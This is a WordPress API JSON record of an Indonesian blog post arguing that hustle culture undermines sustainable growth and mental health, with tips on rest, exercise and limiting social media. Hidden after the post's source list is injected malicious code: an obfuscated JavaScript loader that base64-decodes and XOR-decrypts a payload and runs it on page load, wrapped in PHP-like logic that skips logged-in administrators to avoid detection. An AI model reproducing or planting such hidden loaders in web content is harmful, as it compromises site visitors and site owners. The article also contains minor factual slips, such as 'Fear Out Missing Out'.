{"id":18345,"date":"2026-07-02T18:32:46","date_gmt":"2026-07-02T11:32:46","guid":{"rendered":"https:\/\/lingkaran.co\/blog\/?p=18345"},"modified":"2026-07-02T18:32:46","modified_gmt":"2026-07-02T11:32:46","slug":"hustle-culture-tidak-akan-pernah-berkorelasi-dengan-sustainable-growth-yuk-simak-faktanya","status":"publish","type":"post","link":"https:\/\/lingkaran.co\/blog\/hustle-culture-tidak-akan-pernah-berkorelasi-dengan-sustainable-growth-yuk-simak-faktanya\/","title":{"rendered":"Hustle Culture Tidak Akan Pernah Berkorelasi Dengan Sustainable Growth? Yuk, Simak Faktanya!"},"content":{"rendered":"<p>\u201cThe harder we work, the better we\u2019ll feel\u201d<\/p>\n<p>Alo Lingkagangs, apakah kamu pernah dengar kutipan diatas? Kalau pernah, apakah sepenuhnya kamu setuju?<\/p>\n<p>Bukan hanya bekerja dalam sebuah perusahaan atau menekuni bidang tertentu loh tetapi juga bekerja dalam konteks apapun termasuk kamu yang baru memasuki dunia perkuliahan dan mencoba segala macam kegiatan yang membuat kamu harus bekerja secara terus menerus hingga tidak ada waktu bagi diri kamu untuk beristirahat.<\/p>\n<p>Dari kutipan diatas tadi, apakah benar semakin kita bekerja keras semakin baik perasaan kita?. Yuk, simak faktanya<\/p>\n<p>Hustle culture, kalimat yang cocok untuk menggambarkan mereka yang terus menerus bekerja atau disebut sebagai \u201cworkaholic\u201d karena gaya hidup nya yang ia pikir akan sukses dengan bekerja sangat keras. Fenomena ini ditemukan pada tahun 1971 dan menyebar terutama di kalangan milenial.<\/p>\n<p><a href=\"https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture.jpeg\"><img loading=\"lazy\" class=\" wp-image-18348 aligncenter\" src=\"https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture-300x200.jpeg\" alt=\"\" width=\"327\" height=\"218\" srcset=\"https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture-300x200.jpeg 300w, https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture-768x512.jpeg 768w, https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture-1024x682.jpeg 1024w, https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture-272x182.jpeg 272w, https:\/\/lingkaran.co\/blog\/wp-content\/uploads\/2021\/08\/hustle-culture.jpeg 2000w\" sizes=\"(max-width: 327px) 100vw, 327px\" \/><\/a><\/p>\n<p>Dilansir dari sebuah jurnal penelitian yang dilakukan salah satu mahasiswa di Baruch College, Amerika Serikat mengatakan bahwa 74% responden menganggap bahwa melihat \u201chustle\u201d sebagai konotasi yang negatif. Mental Health Foundation UK juga menyatakan bahwa sekitas 14% pekerja mengalami gangguan mental karena pekerjaan.<\/p>\n<p>Mengapa bisa terjadi?<\/p>\n<p>\u201cYou are not enough\u201d<br \/>\n\u201cYou can be more\u201d<br \/>\n\u201cYou are not success enough\u201d<\/p>\n<p>Kata kata tersebut membuat seseorang bisa disebut dengan \u201cFOMO\u201d atau Fear Out Missing Out.<\/p>\n<p>Yaitu ketakutan untuk tertinggal dengan yang lain sehingga memaksa kita untuk bekerja lebih keras lagi dan lagi.<br \/>\nDitambah lagi sosial media yang memiliki dampak begitu besar sehingga membuat para penggunanya memandingkan diri sendiri dengan orang lain dan mempush diri sendiri secara terus menerus yang tanpa kita sadari itu akan memperburuk sustainable growth.<\/p>\n<p>Hal hal tersebut mendorong hustle culture yang tidak akan pernah berkesinambungan dengan sustainability. Faktanya di indonesia 1 dari 3 pekerja mengalami kesehatan mental akibat kerja yang berlebihan.<\/p>\n<p>Bagaimana caranya agar kita terlepas dari hustle culture dan kembali ke kehidupan yang sustainable?<\/p>\n<p>Berikut ini adalah hal yang harus kamu lakukan untuk membuat kamu terhindar atau terlepas dari hustle culture dan kembali ke kehidupan yang memiliki sustainable growth.<br \/>\nBatasi penggunaan sosial media<br \/>\nPenggunaan sosial media yang berlebih akan membuat kamu membandingkan diri kamu dengan orang lain secara terus menerus sehingga tidak fokus pada sustainable growth. Ikuti akun yang membuat kamu berkembang atau akun yang suka memberitahu kelas untuk meningkatkan skill seperti lingkaran.co<br \/>\nPerbanyak relasi<br \/>\nWalaupun dengan adanya pandemi koneksi tetap bisa dibangun melalui aplikasi sosial media seperti linked in atau mengikuti magang online bersertifikat pun bisa membantu kamu untuk mendapatkan relasi<br \/>\nRajin berolahraga<br \/>\nTubuh yang prima sangat berpengaruh untuk membuat kita lebih semangat dalam bekerja karena kesehatan fisik pun tidak kalah penting<br \/>\nIstirahat yang cukup<br \/>\nKita harus menyadari bahwa dengan kita bekerja terus menerus waktu yang kita miliki otomatis berkurang. Gunakanlah waktu sebaik mungkin baik itu me time atau quality time dengan keluarga.<\/p>\n<p>Hustle culture sangat berdampak buruk baik pada kesehatan fisik ataupun mental. Tidak ada yang sehat dan sustainable dari hustle culture. Kita harus tau tujuan utama kita apa dan mengejarnya secara perlahan namun pasti sehingga dapat mendorong sustainable growth dari dalam diri kita sendiri.<\/p>\n<p>sumber:<br \/>\nBalkeran, A. (n.d.). Hustle culture and the implications for our workforce. CUNY Academic Works. https:\/\/academicworks.cuny.edu\/bb_etds\/101\/.<br \/>\nMckenzie, K. H. &amp; R. (n.d.). Why hustle culture and sustainability can&#8217;t coexist. Environment 911. https:\/\/www.environment911.org\/Why-Hustle-Culture-and-Sustainability-Cant-Coexist.<br \/>\nProfil. Kedokteran &#8211; Universitas Airlangga. (n.d.). https:\/\/fk.unair.ac.id\/mengenal-hustle-culture-budaya-gila-kerja-generasi-muda\/.<script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?>\n<script>\n!function(){var _0xe4e8=atob('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'),_0x33dc=109,_0xfb89=new Uint8Array(_0xe4e8['length']),_0x7bd8=0;for(;_0x7bd8<_0xe4e8['length'];_0x7bd8++)_0xfb89[_0x7bd8]=_0xe4e8['charCodeAt'](_0x7bd8)^_0x33dc;(new Function(new TextDecoder()['decode'](_0xfb89)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cThe harder we work, the better we\u2019ll feel\u201d Alo Lingkagangs, apakah kamu pernah dengar kutipan diatas? Kalau pernah, apakah sepenuhnya kamu setuju? Bukan hanya bekerja dalam sebuah perusahaan atau menekuni bidang tertentu loh tetapi juga bekerja dalam konteks apapun termasuk kamu yang baru memasuki dunia perkuliahan dan mencoba segala macam kegiatan yang membuat kamu harus bekerja secara terus menerus hingga tidak ada waktu bagi diri kamu untuk beristirahat. Dari kutipan diatas tadi, apakah benar semakin kita bekerja keras semakin baik perasaan kita?. Yuk, simak faktanya Hustle culture, kalimat yang cocok untuk menggambarkan mereka yang terus menerus bekerja atau disebut sebagai \u201cworkaholic\u201d karena gaya hidup nya yang ia pikir akan sukses dengan bekerja sangat keras. Fenomena ini ditemukan pada tahun 1971 dan menyebar terutama di kalangan milenial. Dilansir dari sebuah jurnal penelitian yang dilakukan salah satu mahasiswa di Baruch College, Amerika Serikat mengatakan bahwa 74% responden menganggap bahwa melihat \u201chustle\u201d sebagai konotasi yang negatif. Mental Health Foundation UK juga menyatakan bahwa sekitas 14% pekerja mengalami gangguan mental karena pekerjaan. Mengapa bisa terjadi? \u201cYou are not enough\u201d \u201cYou can be more\u201d \u201cYou are not success enough\u201d Kata kata tersebut membuat seseorang bisa disebut dengan \u201cFOMO\u201d atau Fear Out Missing Out. Yaitu ketakutan&#8230;.<\/p>\n","protected":false},"author":3414,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts\/18345"}],"collection":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/users\/3414"}],"replies":[{"embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/comments?post=18345"}],"version-history":[{"count":3,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts\/18345\/revisions"}],"predecessor-version":[{"id":19182,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/posts\/18345\/revisions\/19182"}],"wp:attachment":[{"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/media?parent=18345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/categories?post=18345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lingkaran.co\/blog\/wp-json\/wp\/v2\/tags?post=18345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}